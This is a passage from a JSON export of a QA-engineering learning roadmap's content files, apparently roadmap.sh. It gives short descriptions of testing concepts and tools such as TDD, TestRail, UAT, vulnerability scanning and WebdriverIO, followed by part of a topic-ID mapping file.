    "content": "# TDD - Test Driven Development\n\nTest Driven Development (TDD) is software development approach in which test cases are developed to specify and validate what the code will do. In simple terms, test cases for each functionality are created and tested first and if the test fails then the new code is written in order to pass the test and making code simple and bug-free.\n\nVisit the following resources to learn more:\n\n- [@article@What is Test Driven Development (TDD)? Tutorial with Example](https://www.guru99.com/test-driven-development.html)\n- [@article@Introduction to Test Driven Development (TDD)](https://pt.coursera.org/learn/test-and-behavior-driven-development-tdd-bdd)\n- [@feed@Explore top posts about TDD](https://app.daily.dev/tags/tdd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/teamcity@k3TBVtepeQEGzKGceDkPJ.md",
    "content": "# TeamCity\n\nTeamCity is a CI/CD service provided by JetBrains. TeamCity can be used as a SaaS offering or self-managed using your own resources.\n\nVisit the following resources to learn more:\n\n- [@official@TeamCity](https://www.jetbrains.com/teamcity/)\n- [@official@TeamCity Documentation ](https://www.jetbrains.com/help/teamcity/teamcity-documentation.html)\n- [@article@TeamCity Tutorials](https://www.jetbrains.com/teamcity/tutorials/)\n- [@article@TeamCity Learning Portal](https://www.jetbrains.com/teamcity/learn/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/test-cases-and-scenarios@ELnCFVRkO_s5qI_3Yzf5U.md",
    "content": "# Test Cases and Scenarios\n\nA Test Case is a set of actions executed to verify a particular feature or functionality of your software application. A Test Case contains test steps, test data, precondition, and postcondition developed for a specific test scenario to verify any requirement. The test case includes specific variables or conditions, using which a testing engineer can compare expected and actual results to determine whether a software product is functioning as per the requirements of the customer.\n\nA Test Scenario is defined as any functionality that can be tested. It is a collective set of test cases which helps the testing team to determine the positive and negative characteristics of the project.\n\nVisit the following resources to learn more:\n\n- [@article@Test Case vs Test Scenario – Difference Between Them](https://www.guru99.com/test-case-vs-test-scenario.html)\n- [@article@How to Write Test Cases in Software Testing with Examples](https://www.guru99.com/test-case.html)"
  },
  {
    "path": "src/data/roadmaps/qa/content/test-oracles@Zja25damM2vXMOYCyRZiq.md",
    "content": "# Test Oracles\n\nA test oracle is a mechanism; different from the program itself that can be used to check the correctness of the program's output for the test cases. Conceptually, we can consider testing a process in which the test cases are given to the test oracle and the program under testing.\n\nVisit the following resources to learn more:\n\n- [@article@What are Test Oracles](https://ecomputernotes.com/software-engineering/what-are-test-oracles)\n- [@video@Test Oracle in Software Testing](https://www.youtube.com/watch?v=DR22zNNetp0&t=1s)"
  },
  {
    "path": "src/data/roadmaps/qa/content/test-planning@2U8WRKkuF-YCEWtpgTspF.md",
    "content": "# Test Planning\n\nA Test Plan is a detailed document that describes the test strategy, objectives, schedule, estimation, deliverables, and resources required to perform testing for a software product. Test Plan helps us determine the effort needed to validate the quality of the application under test.\n\nVisit the following resources to learn more:\n\n- [@article@Test Plan: What is, How to Create (with Example)](https://www.guru99.com/test-planning.html)"
  },
  {
    "path": "src/data/roadmaps/qa/content/test-prioritization@1976f2-opqLqV4ImPJlt0.md",
    "content": "# Test Prioritization\n\nTest prioritization is ordering the test cases to be conducted eventually. Prioritizing test cases aids to meet two important constraints, namely time and budget in software testing to enhance the fault detection rate as early as possible.\n\nVisit the following resources to learn more:\n\n- [@article@A Tour of what is Test Prioritization?](https://www.browserstack.com/guide/test-case-prioritization)\n- [@article@Test Prioritization](https://www.professionalqa.com/test-prioritization)\n- [@article@Test Prioritization fundamentals!](https://testomat.io/features/test-case-priorities/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/testing-approaches@uFOVuenPyOKZGgoJXkwRZ.md",
    "content": "# Testing Approaches\n\nTest approach has two techniques:\n\n*   Proactive - An approach in which the test design process is initiated as early as possible in order to find and fix the defects before the build is created.\n*   Reactive - An approach in which the testing is not started until after design and coding are completed.\n\nThree approaches are commonly used to implement functional testing:\n\n*   Black Box Testing\n*   White Box Testing\n*   Gray Box Testing\n\nVisit the following resources to learn more:\n\n- [@article@Functional Testing Approaches and Agile Considerations](https://www.qualitylogic.com/knowledge-center/functional-testing-approaches-agile-considerations/)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/testing-data-management@3Ngw17hkW2HPs-OOaHzv-.md",
    "content": "# Testing Data Management\n\nData testing management involves the strategies and processes used to plan, create, acquire, store, control, and protect the data used for testing software applications. It ensures that testers have access to the right data, in the right format, at the right time, to effectively validate the functionality, performance, and reliability of the system under test. This includes techniques for data masking, data generation, data subsetting, and data virtualization to create realistic and representative test environments.\n\nVisit the following resources to learn more:\n\n- [@article@What is Test Data Management?](https://www.perforce.com/blog/pdx/test-data-management)\n- [@article@What is Test Data Management? Definition, Tools, Best Practices](https://katalon.com/resources-center/blog/what-is-test-data-management)"
  },
  {
    "path": "src/data/roadmaps/qa/content/testing-methodologies@7xGXlwgkcGV6BrDDDN71R.md",
    "content": "# Testing Methodologies\n\nTesting methodologies are structured approaches to software testing, each with its own philosophy and techniques. Test-Driven Development (TDD) involves writing tests before writing the code, ensuring the code meets specific requirements. Acceptance Test-Driven Development (ATDD) focuses on defining acceptance criteria collaboratively with stakeholders, driving development from a business perspective. Behavior-Driven Development (BDD) uses plain language descriptions of system behavior to create tests, promoting better communication between developers, testers, and business stakeholders. Root Cause Analysis (RCA) is a systematic process for identifying the underlying causes of problems or defects, aiming to prevent recurrence rather than just addressing the symptoms."
  },
  {
    "path": "src/data/roadmaps/qa/content/testing-techniques@gQLbDFP00itL260i1BiDe.md",
    "content": "# Testing Techniques\n\nTesting Techniques are methods applied to evaluate a system or a component with a purpose to find if it satisfies the given requirements. Testing of a system helps to identify gaps, errors, or any kind of missing requirements differing from the actual requirements. These techniques ensure the overall quality of the product or software including performance, security, customer experience, and so on.\n\nVisit the following resources to learn more:\n\n- [@article@What are Testing Techniques : Types, Advantages & Disadvantages](https://www.elprocus.com/what-are-testing-techniques-types-advantages-disadvantages/)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/testlink@leiCCxLJgXCpk1a--mE83.md",
    "content": "# TestLink\n\nTestLink is most widely used web based open source test management tool. It synchronizes both requirements specification and test specification together. Tester can create test project and document test cases using this tool. With TestLink you can create an account for multiple users and assign different user roles.\n\nVisit the following resources to learn more:\n\n- [@official@TestLink](https://testlink.org/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/testrail@5Tn6Wtw8QE56LZ9BlRAmW.md",
    "content": "# TestRail\n\nTestRail is a web-based test case management tool. It is used by testers, developers and team leads to manage, track, and organize software testing efforts. TestRail allows team members to enter test cases, organize test suites, execute test runs, and track their results, all from a modern and easy to use web interface.\n\nVisit the following resources to learn more:\n\n- [@official@TestRail](https://www.gurock.com/testrail/)\n- [@article@TestRail Review Tutorial: Learn End-To-End Test Case Management](https://www.softwaretestinghelp.com/testrail-tutorial/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/testrail@o4nkmhEDGwi8yE6DSwZi5.md",
    "content": "# Test Rail\n\nTestRail is a web-based test management tool used by testers, developers and other stake holders to manage, track and organize software testing efforts. It follows a centralized test management concept that helps in easy communication and enables rapid development of task across QA team and other stakeholders .\n\nVisit the following resources to learn more:\n\n- [@official@Testrail](https://www.gurock.com/testrail/)\n- [@official@Testrail Official Docs](https://support.gurock.com/hc/en-us/)\n- [@official@Testrail Tutorial Docs](https://www.tutorialspoint.com/testrail/testrail_introduction.htm)"
  },
  {
    "path": "src/data/roadmaps/qa/content/travis-ci@Rz1E97EQCxESu44dTQd5t.md",
    "content": "# Travis CI\n\nTravis CI is a CI/CD service that is primarily used for building and testing projects that are hosted on BitBucket and GitHub. Open source projects can utilized Travis CI for free.\n\nVisit the following resources to learn more:\n\n- [@official@Travis CI Website](https://www.travis-ci.com/)\n- [@official@Travis CI Documentation](https://docs.travis-ci.com/)\n- [@official@Travis CI Tutorial](https://docs.travis-ci.com/user/tutorial/)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/trello@dmfMp6ydjtHo6oKv97AzB.md",
    "content": "# Trello\n\nTrello is a popular, simple, and easy-to-use collaboration tool that enables you to organize projects and everything related to them into boards. With Trello, you can find all kinds of information, such as:\n\n*   What’s being worked on?\n*   Who’s working on what?\n*   What progress the project is making\n\nVisit the following resources to learn more:\n\n- [@official@Trello](https://trello.com/en)\n- [@article@What is Trello and How To Use It?](https://www.simplilearn.com/tutorials/project-management-tutorial/what-is-trello)"
  },
  {
    "path": "src/data/roadmaps/qa/content/uat@Ls_pezva7_ZW2HHn7RvO4.md",
    "content": "# UAT\n\nUser Acceptance Testing (UAT) is a type of testing performed by the end user or the client to verify/accept the software system before moving the software application to the production environment. UAT is done in the final phase of testing after functional, integration and system testing is done.\n\nVisit the following resources to learn more:\n\n- [@article@What is User Acceptance Testing (UAT)?](https://www.guru99.com/user-acceptance-testing.html)\n- [@video@How to plan your UAT](https://www.youtube.com/watch?v=AU8SV7091-s)"
  },
  {
    "path": "src/data/roadmaps/qa/content/unit-testing@PMO3M33U6RuvNdINvqIAA.md",
    "content": "# Unit Testing\n\nUnit testing is where individual **units** (modules, functions/methods, routines, etc.) of software are tested to ensure their correctness. This low-level testing ensures smaller components are functionally sound while taking the burden off of higher-level tests. Generally, a developer writes these tests during the development process and they are run as automated tests.\n\nVisit the following resources to learn more:\n\n- [@article@Unit Testing Tutorial](https://www.guru99.com/unit-testing-guide.html)\n- [@video@What is Unit Testing?](https://youtu.be/3kzHmaeozDI)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/v-model@zELjfWwfEYSc1YO8JLoJn.md",
    "content": "# V Model\n\nV Model is a highly disciplined SDLC model that has a testing phase parallel to each development phase. The V model is an extension of the waterfall model wherein software development and testing is executed in a sequential way. It's also known as the Validation or Verification Model.\n\nVisit the following resources to learn more:\n\n- [@article@V-Model in Software Testing](https://www.guru99.com/v-model-software-testing.html)"
  },
  {
    "path": "src/data/roadmaps/qa/content/vegeta@LGZlOPNYQp0O_vapnciEI.md",
    "content": "# Vegeta\n\nVegeta is a versatile HTTP load testing tool built out of a need to drill HTTP services with a constant request rate. It can be used both as a command line utility and a library.\n\nVisit the following resources to learn more:\n\n- [@opensource@Vegeta](https://github.com/tsenart/vegeta)"
  },
  {
    "path": "src/data/roadmaps/qa/content/verification-and-validation@vP76hqx-8Pri7sxdJDGV5.md",
    "content": "# Verification and Validation\n\nVerification in Software Testing is a process of checking documents, design, code, and program in order to check if the software has been built according to the requirements or not. The main goal of verification process is to ensure quality of software application, design, architecture etc. The verification process involves activities like reviews, walk-throughs and inspection.\n\nValidation in Software Engineering is a dynamic mechanism of testing and validating if the software product actually meets the exact needs of the customer or not. The process helps to ensure that the software fulfills the desired use in an appropriate environment. The validation process involves activities like unit testing, integration testing, system testing and user acceptance testing.\n\nVisit the following resources to learn more:\n\n- [@article@Differences Between Verification and Validation](https://www.guru99.com/verification-v-s-validation-in-a-software-testing.html)\n- [@article@Design Verification & Validation Process](https://www.guru99.com/design-verification-process.html)"
  },
  {
    "path": "src/data/roadmaps/qa/content/version-control-system@s8o5fXu3XHrMduh8snLwu.md",
    "content": "# Version Control Systems\n\nVersion control/source control systems allow developers to track and control changes to code over time. These services often include the ability to make atomic revisions to code, branch/fork off of specific points, and to compare versions of code. They are useful in determining the who, what, when, and why code changes were made.\n\nVisit the following resources to learn more:\n\n- [@official@Git](https://git-scm.com/)\n- [@official@Mercurial](https://www.mercurial-scm.org/)\n- [@article@What is Version Control?](https://www.atlassian.com/git/tutorials/what-is-version-control)\n- [@feed@Explore top posts about QA](https://app.daily.dev/tags/qa?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/vulnerability-scanning@mKM27KrX1CEViOwz1EDtQ.md",
    "content": "# Vulnerability Scanning\n\nVulnerability scanning identifies hosts and host attributes (e.g., operating systems, applications, open ports), but it also attempts to identify vulnerabilities rather than relying on human interpretation of the scanning results. Many vulnerability scanners are equipped to accept results from network discovery and network port and service identification, which reduces the amount of work needed for vulnerability scanning.\n\nAlso, some scanners can perform their own network discovery and network port and service identification. Vulnerability scanning can help identify outdated software versions, missing patches, and misconfigurations, and validate compliance with or deviations from an organization’s security policy.\n\nThis is done by identifying the operating systems and major software applications running on the hosts and matching them with information on known vulnerabilities stored in the scanners’ vulnerability databases.\n\nVisit the following resources to learn more:\n\n- [@official@NIST Website](https://csrc.nist.gov/glossary/term/vulnerability_scanning)\n- [@feed@Explore top posts about Vulnerability](https://app.daily.dev/tags/vulnerability?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/waterfall@7h-Xfp2Foiyn7-pI0w7ft.md",
    "content": "# Waterfall Model\n\nWaterfall Model is a sequential model that divides software development into pre-defined phases. Each phase must be completed before the next phase can begin with no overlap between the phases. Each phase is designed for performing specific activity during the SDLC phase.\n\nVisit the following resources to learn more:\n\n- [@article@What is Waterfall Model in SDLC? Advantages and Disadvantages](https://www.guru99.com/what-is-sdlc-or-waterfall-model.html)"
  },
  {
    "path": "src/data/roadmaps/qa/content/wave@Lb1ctvpMcKIvsC0WQ5q43.md",
    "content": "# Wave\n\nWave is a suite of evaluation tools that helps authors make their web content more accessible to individuals with disabilities. WAVE can identify many accessibility and Web Content Accessibility Guideline (WCAG) errors, but also facilitates human evaluation of web content.\n\nVisit the following resources to learn more:\n\n- [@official@Wave](https://wave.webaim.org/)\n- [@article@WAVE Accessibility Testing Tool Tutorial](https://www.softwaretestinghelp.com/web-accessibility-testing-tools/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/webdriverio@cFhOYHgq1_MUSXjDI_fFN.md",
    "content": "# Webdriver.io\n\nWebdriverIO is a progressive automation framework built to automate modern web and mobile applications. It simplifies the interaction with your app and provides a set of plugins that help you create a scalable, robust and stable test suite.\n\nWebdriverIO leverages the power of the WebDriver protocol that is developed and supported by all browser vendors and guarantees a true cross-browser testing experience. While other automation tools require you to download modified browser that aren't used by actual users or emulate user behavior by injecting JavaScript, WebdriverIO relies on a common agreed standard for automation that is properly tested and ensures compatibility for decades to come.\n\nDuring the development of this automation standard the web has changed a lot and many of the requirements that developers have today to test their web application can not be fulfilled using WebDriver anymore. While some of the core contributors of this project help support the next generation of the WebDriver protocol, WebdriverIO provides an alternative automation solution based on the Chrome DevTools protocol. This allows the user to seamlessly switch between conventional commands based on WebDriver and powerful browser interactions through Puppeteer.\n\nVisit the following resources to learn more:\n\n- [@official@WebdriverIO](https://webdriver.io/)\n- [@official@A brief overview of WebdriverIO](https://webdriver.io/docs/what-is-webdriverio)\n- [@official@Getting started with WebdriverIO](https://webdriver.io/docs/gettingstarted)\n- [@video@WebdriverIO Tutorial](https://www.youtube.com/watch?v=e8goAKb6CC0&list=PL6AdzyjjD5HBbt9amjf3wIVMaobb28ZYN)"
  },
  {
    "path": "src/data/roadmaps/qa/content/webpage-test@igbQfUpmMSKYyAOVkSCLM.md",
    "content": "# WebPageTest\n\nWebPageTest is a web performance tool providing deep diagnostic information about how a page performs under a variety of conditions.\n\nEach test can be run from different locations around the world, on real browsers, over any number of customizable network conditions.\n\nVisit the following resources to learn more:\n\n- [@official@WebPageTest](https://www.webpagetest.org/)"
  },
  {
    "path": "src/data/roadmaps/qa/content/what-is-quality-assurance@JInFH3JRvAxjvpIFKjUiP.md",
    "content": "# What is Quality\n\nQuality is extremely hard to define, and it is simply stated: “Fit for use or purpose.” It is all about meeting the needs and expectations of customers concerning the functionality, design, reliability, durability, & price of the product.\n\nWhat is Assurance\n-----------------\n\nAssurance is nothing but a positive declaration of a product or service, which gives confidence. It is certain of a product or a service which it will work well. It provides a guarantee that the product will work without any problems as per the expectations or requirements.\n\nQuality Assurance in Software Testing\n-------------------------------------\n\nQuality Assurance in Software Testing is defined as a procedure to ensure the quality of software products or services provided to the customers by an organization. Quality assurance focuses on improving the software development process and making it efficient and effective per the quality standards defined for software products. Quality Assurance is popularly known as QA Testing.\n\nVisit the following resources to learn more:\n\n- [@article@What is Quality Assurance(QA)? Process, Methods, Examples](https://www.guru99.com/all-about-quality-assurance.html)\n- [@article@What Do Software Testers Do?](https://www.ministryoftesting.com/articles/what-do-software-testers-do)\n- [@feed@Explore top posts about QA](https://app.daily.dev/tags/qa?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/white-box-testing@y4QnZ2xQyc4x6Kr-eGBer.md",
    "content": "# White Box Testing\n\nWhite Box Testing is a technique in which software’s internal structure, design, and coding are tested to verify input-output flow and improve design, usability, and security. In white box testing, code is visible to testers, so it is also called Clear box testing, Open box testing, Transparent box testing, Code-based testing, and Glass box testing.\n\nVisit the following resources to learn more:\n\n- [@article@White Box Testing – What is, Techniques, Example & Types](https://www.guru99.com/white-box-testing.html)\n- [@article@A Complete Guide With Techniques, Examples, & Tools](https://www.softwaretestinghelp.com/white-box-testing-techniques-with-example/)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/content/xp@4SLrNPD_No05CKeAVDFn5.md",
    "content": "# XP\n\nExtreme Programming (XP) is an agile software development framework that aims to produce higher quality software, and higher quality of life for the development team. XP is the most specific of the agile frameworks regarding appropriate engineering practices for software development.\n\nVisit the following resources to learn more:\n\n- [@article@What is Extreme Programming (XP)?](https://www.agilealliance.org/glossary/xp)"
  },
  {
    "path": "src/data/roadmaps/qa/content/youtrack@6bS1YjGJHARAUKTywYMU9.md",
    "content": "# YouTrack\n\nYouTrack is a project management software developed by JetBrains. It’s in the form of a plugin that can be attached to the JetBrains IDEs such as Intellij Idea, and helps create and assign tasks to a development team as well as track the progress of working.\n\nVisit the following resources to learn more:\n\n- [@official@YouTrack](https://www.jetbrains.com/youtrack/)\n- [@article@YouTrack for Beginners](https://medium.com/nerd-for-tech/youtrack-for-beginners-31e1e156fdd0)"
  },
  {
    "path": "src/data/roadmaps/qa/content/zephyr@aGvbxmZCHbbt9PgXL1ooJ.md",
    "content": "# Zephyr\n\nZephyr is a testing solution that improves the quality of your software by managing and monitoring end-to-end testing. It is very effective for managing manual testing. Its key capabilities include:\n\n*   Test-case creation\n*   Organization of tests by product releases and components\n*   Assignment of tests to the Quality Assurance team\n\nVisit the following resources to learn more:\n\n- [@article@Zephyr for JIRA Tutorial: Test Management Tool](https://www.guru99.com/zephyr-agile-jira.html)"
  },
  {
    "path": "src/data/roadmaps/qa/content/zombiejs@m0gT774b59xsSJKrrjTxq.md",
    "content": "# Zombie.js\n\nZombie.js allows you to run Unit or Integration tests without a real web browser. Instead, it uses a simulated browser where it stores the HTML code and runs the JavaScript you may have in your HTML page. This means that an HTML page doesn’t need to be displayed, saving precious time that would otherwise be occupied rendering it.\n\nVisit the following resources to learn more:\n\n- [@official@Zombie.js](http://zombie.js.org/)\n- [@article@Getting Started with Zombie.js](https://www.packt.com/getting-started-zombiejs/)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/qa/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/qa/migration-mapping.json",
    "content": "{\n  \"qa-basics\": \"m1wX27XBWKXZcTMH2U1xp\",\n  \"qa-basics:test-oracles\": \"Zja25damM2vXMOYCyRZiq\",\n  \"qa-basics:test-prioritization\": \"1976f2-opqLqV4ImPJlt0\",\n  \"qa-basics:manage-your-testing\": \"pH9h2tjO6raO_g4W8EgKq\",\n  \"qa-basics:manage-your-testing:qtest\": \"FE_Wp2RPWFDHNaQIBLqH6\",\n  \"qa-basics:manage-your-testing:test-rail\": \"5Tn6Wtw8QE56LZ9BlRAmW\",\n  \"qa-basics:manage-your-testing:test-link\": \"leiCCxLJgXCpk1a--mE83\",\n  \"qa-basics:manage-your-testing:zephyr\": \"aGvbxmZCHbbt9PgXL1ooJ\",\n  \"qa-basics:what-is-qa\": \"JInFH3JRvAxjvpIFKjUiP\",\n  \"qa-basics:qa-mindset\": \"vZv4Ow5bg_PbKoF557G9S\",\n  \"qa-basics:testing-approaches\": \"uFOVuenPyOKZGgoJXkwRZ\",\n  \"qa-basics:testing-approaches:white-box-testing\": \"y4QnZ2xQyc4x6Kr-eGBer\",\n  \"qa-basics:testing-approaches:gray-box-testing\": \"ZmWEG7Wu-h7bZe6pGxqDg\",\n  \"qa-basics:testing-approaches:black-box-testing\": \"2zfwE6uzGYc2qnvOZ47LB\",\n  \"qa-sdlc\": \"Pb3QkhSCgRByJHuPxVAlU\",\n  \"qa-sdlc:agile-model\": \"47NXgbc1OTGE06qXxlQoh\",\n  \"qa-sdlc:agile-model:kanban\": \"cJyQx-LBcOL11nkK-P2JH\",\n  \"qa-sdlc:agile-model:scrum\": \"k3xPwDzA1WUEAwJ6-Q8PW\",\n  \"qa-sdlc:agile-model:safe\": \"Tdj051ANlwwpo03X1hjbF\",\n  \"qa-sdlc:agile-model:xp\": \"4SLrNPD_No05CKeAVDFn5\",\n  \"qa-sdlc:v-model\": \"zELjfWwfEYSc1YO8JLoJn\",\n  \"qa-sdlc:waterfall-model\": \"7h-Xfp2Foiyn7-pI0w7ft\",\n  \"qa-basics:project-management\": \"ZqgeqqZTGA-y7jVNyPCt4\",\n  \"qa-basics:project-management:atlassian\": \"wVqbs8Rh0WjLQqJZ0XiF0\",\n  \"qa-basics:project-management:assembla\": \"xLPE9CqqiYz0miMFI3ThY\",\n  \"qa-basics:project-management:youtrack\": \"6bS1YjGJHARAUKTywYMU9\",\n  \"qa-basics:project-management:trello\": \"dmfMp6ydjtHo6oKv97AzB\",\n  \"qa-basics:testing-techniques\": \"gQLbDFP00itL260i1BiDe\",\n  \"qa-basics:testing-techniques:functional-testing\": \"o4xmFhw_ilWdhpCiEotck\",\n  \"qa-basics:testing-techniques:non-functional-testing\": \"vYIEsjTKoO1ciypGIDlil\",\n  \"qa-basics:testing-techniques:non-functional-testing:load-testing\": \"wmMIL-0ytz7a3JygyB-wc\",\n  \"qa-basics:testing-techniques:non-functional-testing:performance-testing\": \"bapKhjye4oWQxTEZ4fl_c\",\n  \"qa-basics:testing-techniques:non-functional-testing:stress-testing\": \"skrOrieK1T0hHj_mJBNsW\",\n  \"qa-basics:testing-techniques:non-functional-testing:security-testing\": \"MahtxMJD3ETHfgk_PQabQ\",\n  \"qa-basics:testing-techniques:non-functional-testing:accessibility-testing\": \"zGzpjxz3nvVH9Eu3NOPbk\",\n  \"qa-basics:testing-techniques:functional-testing:uat\": \"Ls_pezva7_ZW2HHn7RvO4\",\n  \"qa-basics:testing-techniques:functional-testing:exploratory-testing\": \"2h6mJeIFCU72J7aggTvnQ\",\n  \"qa-basics:testing-techniques:functional-testing:sanity-testing\": \"Lve3xpC1FU91TQqoDOYv7\",\n  \"qa-basics:testing-techniques:functional-testing:regression-testing\": \"XCeXiKvBblmDArfbWjDvw\",\n  \"qa-basics:testing-techniques:functional-testing:smoke-testing\": \"MVShii4LZiWW_gPTJzkty\",\n  \"qa-basics:testing-techniques:functional-testing:unit-testing\": \"PMO3M33U6RuvNdINvqIAA\",\n  \"qa-basics:testing-techniques:functional-testing:integration-testing\": \"a_vwz-onn6QEoc27N6oBc\",\n  \"qa-manual-testing\": \"daUEq4xlh4PIltSdiD4F2\",\n  \"qa-manual-testing:tdd\": \"M78baCVYpsk7C6j-VPvPZ\",\n  \"qa-manual-testing:test-planning\": \"2U8WRKkuF-YCEWtpgTspF\",\n  \"qa-manual-testing:test-cases-and-scenarios\": \"ELnCFVRkO_s5qI_3Yzf5U\",\n  \"qa-manual-testing:compatibility\": \"RD0vRC-OL2ReYLT1leJMs\",\n  \"qa-manual-testing:verification-and-validation\": \"vP76hqx-8Pri7sxdJDGV5\",\n  \"qa-automated-testing:mobile-automation\": \"ITtBvrJ8dsW-5LQV8tWgO\",\n  \"qa-automated-testing:mobile-automation:espresso\": \"stMeB1U3SfuefZ-yS8wGF\",\n  \"qa-automated-testing:mobile-automation:detox\": \"gZnNHDjFMI003Od7u2RNa\",\n  \"qa-automated-testing:mobile-automation:appium\": \"UIKUiCfSw5MkrRJZ3Ah3x\",\n  \"qa-automated-testing:mobile-automation:xcuitest\": \"Q6eNkuRI6dPa9X44pwrea\",\n  \"qa-automated-testing:backend-automation\": \"mPaMQ5h8ZcXKOfcuSwB2-\",\n  \"qa-automated-testing:backend-automation:karate-framework\": \"8zXn8R9OGWTmreBpstj03\",\n  \"qa-automated-testing:backend-automation:cypress\": \"5cMhZ-7YMQ6ccs-AaIi-0\",\n  \"qa-automated-testing:backend-automation:soap-ui\": \"eE9F3YviSpmgor6V5NMj5\",\n  \"qa-automated-testing:backend-automation:postman-newman\": \"X_nLwzc1QmShivEjfy6v9\",\n  \"qa-automated-testing:backend-automation:rest-assured\": \"gECIgOii7C5MzilSbQP9t\",\n  \"qa-automated-testing:frontend-automation\": \"hU5OCnEe3tG206xuGsVFd\",\n  \"qa-automated-testing:frontend-automation:basic-introduction:html-css-javascript\": \"pYkfl-4gMHRj9wIeH8RTP\",\n  \"qa-automated-testing:frontend-automation:basic-introduction:browser-devtools\": \"cHI05cf8fLh3XB1Bt6jNP\",\n  \"qa-automated-testing:frontend-automation:basic-introduction:ajax\": \"jn02FD5hjhZFVWaJjjNN3\",\n  \"qa-automated-testing:frontend-automation:basic-introduction:caching\": \"qvlA7iIOvoWMXm5MCAysZ\",\n  \"qa-automated-testing:frontend-automation:basic-introduction:swas-pwas-jamstack\": \"_2IwBNhB5SqbPRxGhZyhq\",\n  \"qa-automated-testing:frontend-automation:basic-introduction:csr-vs-ssr\": \"-2RU50LUPwCQ8XRaMslY-\",\n  \"qa-automated-testing:frontend-automation:basic-introduction:responsive-vs-adaptive\": \"6cGPxfJ9ipij40hnmckxV\",\n  \"qa-automated-testing:frontend-automation:selenium-ide\": \"_3HfVT8IDlcgvUM4h6A0_\",\n  \"qa-automated-testing:frontend-automation:ghost-inspector\": \"mX7bNNP7WjFdlsRK6qIgy\",\n  \"qa-automated-testing:frontend-automation:bug-management\": \"wUq-qEIh-tazYhgQQUqGG\",\n  \"qa-automated-testing:frontend-automation:automation-frameworks:qa-wolf\": \"414xO4PX9rU0f39aC7awu\",\n  \"qa-automated-testing:frontend-automation:automation-frameworks:cypress\": \"iQ7xwiA6xmbLyRIkI7tXM\",\n  \"qa-automated-testing:frontend-automation:automation-frameworks:webdriver-io\": \"cFhOYHgq1_MUSXjDI_fFN\",\n  \"qa-automated-testing:frontend-automation:automation-frameworks:jasmine\": \"HP55XWH18THmCNjCq-gBl\",\n  \"qa-automated-testing:frontend-automation:automation-frameworks:nightwatch\": \"Ta1leBdu-Y9LryB-0U-CT\",\n  \"qa-automated-testing:frontend-automation:automation-frameworks:robot-framework\": \"nf76o_NYm0-pSIVBFm7IH\",\n  \"qa-automated-testing:frontend-automation:automation-frameworks:selenium\": \"s3HMrqNEVogftCIOZYO61\",\n  \"qa-automated-testing:frontend-automation:automation-frameworks:jest\": \"ZeJSeYs8fkZLQ-Pc3TqEM\",\n  \"qa-automated-testing:frontend-automation:automation-frameworks:puppeteer\": \"YKHlLKIlL-Y4ZtHTLfApu\",\n  \"qa-automated-testing:frontend-automation:automation-frameworks:playwright\": \"CHqfXjRRdS_c6XMnfVVx-\",\n  \"qa-non-functional-testing:accessibility-testing\": \"mmDIqSD6MU3ZhWREGI5E2\",\n  \"qa-non-functional-testing:accessibility-testing:chrome-devtools\": \"Xadg2WZTz6Cc_Ir9FsbgY\",\n  \"qa-non-functional-testing:accessibility-testing:wave\": \"Lb1ctvpMcKIvsC0WQ5q43\",\n  \"qa-non-functional-testing:accessibility-testing:axe\": \"_4jJ8YQeLcaT-z38kxRRR\",\n  \"qa-non-functional-testing:load-and-performance-testing\": \"wTfvbS62eyitDT8pLsVhj\",\n  \"qa-non-functional-testing:load-and-performance-testing:vegeta\": \"LGZlOPNYQp0O_vapnciEI\",\n  \"qa-non-functional-testing:load-and-performance-testing:jmeter\": \"UeeDNUPZ61_HHgcaF9-__\",\n  \"qa-non-functional-testing:load-and-performance-testing:locust\": \"QjAJIfSQe7WjbyYdGWSP8\",\n  \"qa-non-functional-testing:load-and-performance-testing:lighthouse\": \"fkUxhrP3LhtIVgIP9Dxar\",\n  \"qa-non-functional-testing:load-and-performance-testing:webpage-test\": \"igbQfUpmMSKYyAOVkSCLM\",\n  \"qa-non-functional-testing:load-and-performance-testing:gatling\": \"J1Yx1VcO20Lc3r3PdGpUW\",\n  \"qa-non-functional-testing:load-and-performance-testing:k6\": \"Jcp29_ASj9QZ_DjDBIapJ\",\n  \"qa-non-functional-testing:load-and-performance-testing:artillery\": \"j1DYOQbIUT1tw_9WIPBkE\",\n  \"qa-non-functional-testing:security-testing\": \"wsJXMvRbOTh_VXKhmhPmQ\",\n  \"qa-non-functional-testing:security-testing:authentication-authorization\": \"75-XdVA4BL6UrcvpC9grx\",\n  \"qa-non-functional-testing:security-testing:secrets-management\": \"YV6ST78AH4J0i2Rw9zhZj\",\n  \"qa-non-functional-testing:security-testing:vulnerability-scanning\": \"mKM27KrX1CEViOwz1EDtQ\",\n  \"qa-non-functional-testing:security-testing:owasp-10\": \"JR-MkszNvv96-S3DpyLeX\",\n  \"qa-non-functional-testing:security-testing:attack-vectors\": \"x3HEti8-xF9Mxe5ELBM9T\",\n  \"qa-email-testing:gmail-tester\": \"mIM9ausl_tSUNPUerIfEr\",\n  \"qa-email-testing:mailinator\": \"rFjtp3-cnaUmHiKfjPZBn\",\n  \"qa-email-testing\": \"G-F6jQTOAZ2kQ36F-VrBB\",\n  \"qa-reporting\": \"MyAAsHteSr4JCPEpqjsy9\",\n  